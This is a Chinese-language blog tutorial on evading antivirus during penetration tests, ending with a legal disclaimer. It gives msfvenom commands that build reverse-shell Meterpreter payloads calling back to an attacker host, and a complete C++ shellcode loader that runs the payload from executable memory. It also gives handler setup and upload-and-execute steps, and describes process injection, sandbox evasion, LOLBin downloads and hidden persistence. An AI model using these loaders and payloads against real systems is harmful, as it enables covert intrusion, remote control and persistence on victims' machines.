实战渗透测试中的免杀技术:从原理到Shellcode加载器实现

📅 2026/7/31 11:40:39 👁️ 阅读次数 📝 编程学习
实战渗透测试中的免杀技术:从原理到Shellcode加载器实现

1. 从一次失败的“上线”说起:为什么免杀是实战的必修课

那次渗透测试的靶标是一台Windows 7服务器,我们通过经典的“永恒之蓝”漏洞成功打进了内网,拿到了一个初始的Meterpreter shell。一切看起来都很顺利,直到我尝试上传一个后渗透模块。我习惯性地从Metasploit里生成了一个标准的Windows可执行文件木马,准备用它来建立更稳定的连接。然而,就在我通过那个脆弱的初始shell通道,将木马文件拖拽到目标机器上时,Windows Defender的实时防护几乎在文件落地的瞬间就弹出了警报,干净利落地把它删除了。更糟的是,这次检测触发了安全日志,虽然当时没有立刻惊动管理员,但我们的行动窗口被大大压缩,后续的横向移动变得异常困难。

这个场景,我相信很多初入渗透测试领域的朋友都遇到过。我们花费大量精力研究漏洞利用、突破边界,却在最后一步——载荷投递与执行上功亏一篑。这就是“免杀”技术的核心价值所在:它关乎实战的成败,是连接漏洞利用与后续权限维持、内网渗透的关键桥梁。免杀,顾名思义,就是让我们的恶意代码(木马、后门等)能够逃避杀毒软件和各类终端安全产品的检测。今天,我们就抛开理论,从实战角度,深入聊聊在拿到一个初始立足点(比如一个Meterpreter shell)后,如何针对性地制作一个能绕过常见防护的免杀木马,并成功上传执行。

2. 知己知彼:现代杀软的检测机制与我们的对抗思路

在动手之前,我们必须理解对手是如何工作的。现代杀毒软件早已不是简单的特征码匹配,它们构建了多层防御体系,主要包括以下几种检测机制:

2.1 静态检测这是最基础的一层。杀软会扫描文件的静态属性。

  • 特征码扫描:维护一个庞大的病毒特征库,比对文件中是否包含已知恶意代码的特定字节序列(哈希值、字符串、代码片段)。我们使用Metasploit的msfvenom生成的默认载荷,其代码结构、导入表、字符串等特征早已被各大厂商收录。
  • 启发式分析:分析文件的整体结构、行为特征。例如,一个体积很小的可执行文件却导入了大量网络、进程操作相关的API(如WinExec,URLDownloadToFile,CreateRemoteThread),或者其代码段存在异常的高熵值(加壳、加密的典型特征),都可能触发启发式报警。

2.2 动态检测在文件运行前后进行分析。

  • 沙箱行为分析:将可疑文件放在一个虚拟的隔离环境(沙箱)中运行,监控其一切行为:创建了哪些进程、修改了哪些注册表、访问了哪些网络地址、尝试了哪些敏感操作。如果行为符合恶意软件模式,则判定为恶意。
  • 内存扫描:即使文件本身免杀,当其被加载到内存中解密或展开时,其最终的恶意代码可能会在内存中暴露出特征。一些高级杀软会定期扫描进程内存。

2.3 云查杀与机器学习这是当前的主流趋势。

  • 云查杀:终端上的轻量级客户端将文件的哈希或部分特征上传到云端,与庞大的威胁情报库进行实时比对,响应速度极快。
  • 机器学习模型:基于海量样本训练出的模型,可以从数百个特征维度(PE头信息、节区数量、API序列等)判断文件是否恶意,对未知威胁有一定检测能力。

我们的对抗思路: 基于以上分析,一个有效的免杀方案必须是立体的:

  1. 规避静态特征:改变文件哈希、混淆或加密代码、修改PE结构。
  2. 欺骗启发式分析:让程序看起来“正常”,例如添加正常的图标、版本信息,或者将恶意代码“寄生”在合法软件中。
  3. 对抗动态沙箱:检测沙箱环境(如检查CPU核心数、内存大小、已运行时间、是否存在特定进程),如果是沙箱则执行无害操作或直接退出。
  4. 规避内存扫描:使用反射式DLL注入、进程镂空等仅在内存中操作、不落地或少落地的技术。

3. 实战起点:利用MSFVenom生成基础载荷与编码

Metasploit的msfvenom是我们制作载荷的瑞士军刀。但直接使用其默认输出,在当今环境下几乎100%被杀。我们先从它提供的基础规避选项开始。

3.1 生成一个反向TCP Meterpreter载荷这是最常见的场景。假设我们的攻击机IP是192.168.1.100,监听端口为4444。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

这个payload.exe就是最原始的木马,毫无悬念会被秒杀。

3.2 使用编码器进行初步混淆msfvenom内置了多种编码器,如x86/shikata_ga_nai(SGN),它通过多态变形技术,每次编码都能产生不同字节序列的载荷,旨在绕过基于固定特征码的检测。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload_encoded.exe
  • -e x86/shikata_ga_nai:指定使用SGN编码器。
  • -i 5:指定编码迭代5次。增加迭代次数可以增加变异性,但也会增大文件体积。

重要提示单纯依赖MSFVenom的编码器在实战中已经基本失效。因为杀软不仅检测载荷体,更会检测编码器本身的“解码桩”(Stub)。SGN等编码器的特征早已被识别。这一步的目的,更多是改变文件的哈希值,并作为我们后续深度免杀处理的“原料”。

3.3 尝试不同的格式与注入模板除了生成独立的EXE,我们还可以尝试生成DLL、Service EXE(以服务形式运行),或者将Shellcode注入到一个合法的“模板”程序中。

# 生成DLL msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll # 使用一个合法的Windows程序(如calc.exe)作为模板进行注入(需自行准备calc.exe) msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x calc.exe -f exe -o payload_calc.exe
  • -x calc.exe:指定将生成的Shellcode注入到calc.exe这个宿主程序中。这种方式有时能绕过一些简单的启发式分析,因为文件看起来是一个“正常的”计算器程序。但高级杀软会对比程序签名和内存行为,依然容易被检测。

4. 进阶免杀手法(一):Shellcode加载器与分离技术

这是目前个人认为最有效且灵活的免杀方式之一。其核心思想是:分离。将恶意的Shellcode(如Meterpreter的载荷)与加载器程序本身分离。加载器本身是一个“干净”的、无恶意行为的程序,它的任务仅仅是从某个地方(本地文件、远程URL、甚至是一张图片的像素数据)读取一段“数据”,然后将这段数据作为代码在内存中执行。

4.1 原理与优势

  1. 静态免杀极强:加载器程序本身不包含任何恶意特征码,杀软静态扫描时看到的只是一个普通的、可能功能是“读取文件并分配内存”的程序。
  2. 灵活多变:Shellcode可以任意加密、变形、隐藏,加载器只需对应解密即可。更换Shellcode无需重新编译加载器。
  3. 便于对抗沙箱:可以在加载器中加入沙箱检测逻辑,仅在真实用户环境才执行核心操作。

4.2 手工打造一个C++ Shellcode加载器下面是一个最简单的Windows平台Shellcode加载器示例(仅供学习研究)。我们假设已经通过msfvenom生成了纯Shellcode的二进制文件(payload.bin)。

# 生成raw格式的Shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o payload.bin

然后,我们编写一个C++加载器,将payload.bin的内容读入内存并执行。

#include <windows.h> #include <iostream> #include <fstream> int main() { // 1. 从文件读取Shellcode std::ifstream file("payload.bin", std::ios::binary | std::ios::ate); if (!file.is_open()) { std::cerr << "无法打开文件!" << std::endl; return -1; } std::streamsize size = file.tellg(); file.seekg(0, std::ios::beg); // 申请内存空间(注意权限) LPVOID shellcode = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (shellcode == NULL) { std::cerr << "内存分配失败!" << std::endl; return -1; } // 读取Shellcode到内存 if (!file.read((char*)shellcode, size)) { std::cerr << "读取文件失败!" << std::std::endl; VirtualFree(shellcode, 0, MEM_RELEASE); return -1; } file.close(); // 2. (可选)简单的异或解密。假设我们的payload.bin是经过0xAA异或加密的。 // for (int i = 0; i < size; i++) { // ((BYTE*)shellcode)[i] ^= 0xAA; // } // 3. 执行Shellcode // 创建一个函数指针指向Shellcode内存地址,然后调用它。 void (*func)() = (void (*)())shellcode; func(); // 4. 清理(实际上执行后一般不会返回这里) VirtualFree(shellcode, 0, MEM_RELEASE); return 0; }

编译与使用

  1. 将上述代码保存为loader.cpp
  2. 使用Visual Studio或MinGW的g++进行编译。为了减小体积和避免依赖,建议静态链接C++运行时库,并使用Release模式。
    # 使用MinGW-g++示例 g++ -o loader.exe loader.cpp -static -lstdc++ -O2
  3. 将生成的loader.exe和加密后的payload.bin(如果需要解密,需在代码中实现解密逻辑)一同放置。
  4. 在目标机器上运行loader.exe,它便会读取并执行payload.bin中的Shellcode,从而建立Meterpreter会话。

注意:这个最简单的加载器在当下可能无法绕过动态行为检测,因为它直接调用了VirtualAlloc申请可执行内存并跳转执行,这是一个非常敏感的行为序列。我们需要对其进行“混淆”和“合法化”包装。

4.3 加载器的“合法化”改造为了让加载器行为更隐蔽,我们可以:

  • 使用合法的API调用链:例如,不使用VirtualAlloc+memcpy,而是利用Windows提供的“合法”内存操作API,如EnumWindows的回调函数机制来执行代码(一种回调注入技术)。
  • 进程注入:不直接在当前进程执行,而是将Shellcode注入到一个受信任的、已存在的系统进程(如explorer.exe,svchost.exe)中。这需要用到OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread等API。虽然这些API也被监控,但如果是注入到可信进程,且行为模仿正常软件,可能降低风险。
  • 反射式DLL注入:将DLL文件本身作为数据读入内存,然后在内存中完成DLL的解析、重定位和初始化,完全不接触磁盘上的DLL文件。msfvenom可以生成反射式DLL载荷。
  • 添加沙箱检测:在加载器开头加入环境检查代码,例如判断系统运行时间是否大于10分钟、鼠标是否移动过、磁盘大小是否正常等,如果疑似沙箱环境,则执行无害代码或退出。

5. 进阶免杀手法(二):利用现有工具与框架

手工打造固然灵活,但效率较低。安全社区有很多优秀的开源免杀框架和工具,可以帮我们快速生成高质量的免杀载荷。

5.1 Veil-Evasion(已归档,但思路仍有价值)Veil-Evasion是一个经典的免杀框架,它内置了多种载荷生成方法,包括基于Python、C#、PowerShell的加载器,以及使用各种加密和混淆技术。虽然项目已不再维护,但其生成的某些模板和思路仍可借鉴,尤其是在对抗静态扫描方面。

5.2 Cobalt Strike 与 Artifact KitCobalt Strike是渗透测试中的“神器”,其Artifact Kit功能允许攻击者高度自定义生成的PE、DLL、Service EXE等载荷。通过修改其模板源码(通常是C语言),可以改变载荷的入口点、节区名称、导入表哈希计算方式等,从而生成独一无二、难以被特征匹配的载荷。这是团队化、专业化渗透中常用的手段。

5.3 Donut + 合法EXEDonut是一个强大的Shellcode生成工具,它可以将.NET程序集、DLL或EXE转换为位置无关的Shellcode。我们可以:

  1. 用Donut将一个简单的.NET执行程序(比如一个计算器)转换成Shellcode。
  2. 将这个Shellcode用上述加载器加载,或者注入到其他进程。 这样做的好处是,最终在内存中执行的是完整的、功能正常的.NET程序,行为更加“白名单化”。

5.4 利用Living-off-the-Land Binaries (LOLBAS)这不是生成木马,而是一种执行策略。即利用操作系统或第三方软件中已有的、可信的合法程序(LOLBin)来执行恶意代码。例如:

  • MSBuild:可以执行内嵌C#代码的XML项目文件。
  • Regsvr32:可以注册并执行远程的DLL。
  • Rundll32:可以执行DLL中的导出函数。
  • Certutil:可以下载文件(-urlcache -split -f)。
  • Bitsadmin:可以创建下载任务。 我们可以将加密的Shellcode作为“数据”由这些合法程序下载或读取,然后再通过其他方式(如PowerShell)在内存中加载执行。这种方式完全不需要上传额外的可执行文件,规避了文件扫描。

6. 实战流程整合:从生成到上传执行

现在,让我们把上面的知识点串联起来,形成一个完整的、在拿到初始Shell后的实战流程。

6.1 环境准备与载荷生成

  1. 攻击机(Kali):启动Metasploit监听。
    msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j
  2. 生成免杀载荷:我们选择“Shellcode加载器”方案。
    • 生成原始Shellcode:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o sc.bin
    • 使用一个简单的异或加密脚本对sc.bin进行加密(密钥为0xAA),生成enc_sc.bin
    • 修改我们之前编写的C++加载器,加入对应的异或解密代码,并编译生成loader.exe。这个loader.exe应该已经具备一定的静态免杀能力。

6.2 通过初始Shell上传文件假设我们已经通过永恒之蓝漏洞获得了一个Meterpreter会话(session 1)。

sessions -i 1 # 进入会话

在Meterpreter会话中,上传我们的免杀载荷。

# 先切换到目标机器的可写目录,如Temp目录 cd C:\\Windows\\Temp # 上传加载器 upload /path/to/your/loader.exe . # 上传加密的Shellcode文件 upload /path/to/your/enc_sc.bin .

6.3 执行与权限维持上传成功后,在Meterpreter会话中执行它。

# 使用execute命令在后台执行 execute -f loader.exe # 或者使用shell命令切换到cmd执行 shell start loader.exe exit

如果一切顺利,我们会在Metasploit的监听端看到一个新的Meterpreter会话建立起来,这个新会话来自于我们的免杀木马。

6.4 清理痕迹与持久化成功上线后,为了维持访问,我们需要考虑持久化,但同时要避免留下明显的免杀载荷文件。

  • 文件痕迹:执行成功后,可以命令木马自删除,或者我们手动通过初始Shell删除loader.exeenc_sc.bin
  • 持久化方式:优先选择“无文件”或“低文件”持久化,例如:
    • 计划任务:使用Meterpreter的persistence模块,它通常会创建一个VBS脚本在启动项,这个脚本可能被检测。更隐蔽的方式是手动创建计划任务,指向一个合法的系统程序(如powershell.exe)并带上经过编码的Payload参数。
    • WMI事件订阅:一种非常隐蔽的持久化方式,通过WMI在特定事件(如用户登录、特定时间间隔)触发时执行Payload。
    • 服务 DLL:将木马DLL注册为某个系统服务的服务DLL,随着服务启动而加载。这需要较高的权限和对注册表的修改。

7. 免杀的“军备竞赛”:思维与注意事项

免杀没有一劳永逸的银弹。今天有效的方法,明天可能就因为某个威胁情报的更新而失效。因此,比掌握具体技术更重要的,是建立正确的思维模式。

7.1 分层对抗思维不要指望单一技术能通杀所有防线。应该构建一个从载荷生成、投递、加载到执行的全链条免杀策略。例如:使用分离加载器(静态绕过) + 进程注入到可信进程(行为混淆) + 流量加密(网络层绕过)。

7.2 环境特异性与测试你的免杀载荷在你自己虚拟机里的Windows Defender上测试通过,不代表能在目标企业的“卡巴斯基+奇安信+天擎”组合拳下存活。务必尽可能模拟目标环境进行测试。可以搭建装有不同杀软(包括国内主流杀软如360、火绒、腾讯电脑管家)的虚拟机进行实测。

7.3 保持低调与隐蔽免杀成功上线只是第一步。后续的所有操作(信息收集、横向移动、数据渗出)都要尽可能模仿正常流量和行为,避免触发EDR(终端检测与响应)的行为规则。例如,大规模的内网端口扫描、异常的登录时间、非常规协议的数据外传,都可能暴露行踪。

7.4 法律与道德边界最后,也是最重要的,所有渗透测试与安全研究必须在合法授权的范围内进行。未经授权对他人的计算机系统实施入侵、投放木马是严重的违法行为。本文所述的所有技术,仅用于安全教学、授权测试及提升自身防御能力,请务必遵守法律法规,坚守职业道德。

免杀是一场持续的动态博弈。它要求我们不仅理解攻击技术,更要深刻理解防御体系的原理。通过不断学习、实验和思考,我们才能在这场猫鼠游戏中,更好地理解漏洞,从而最终更好地防御它们。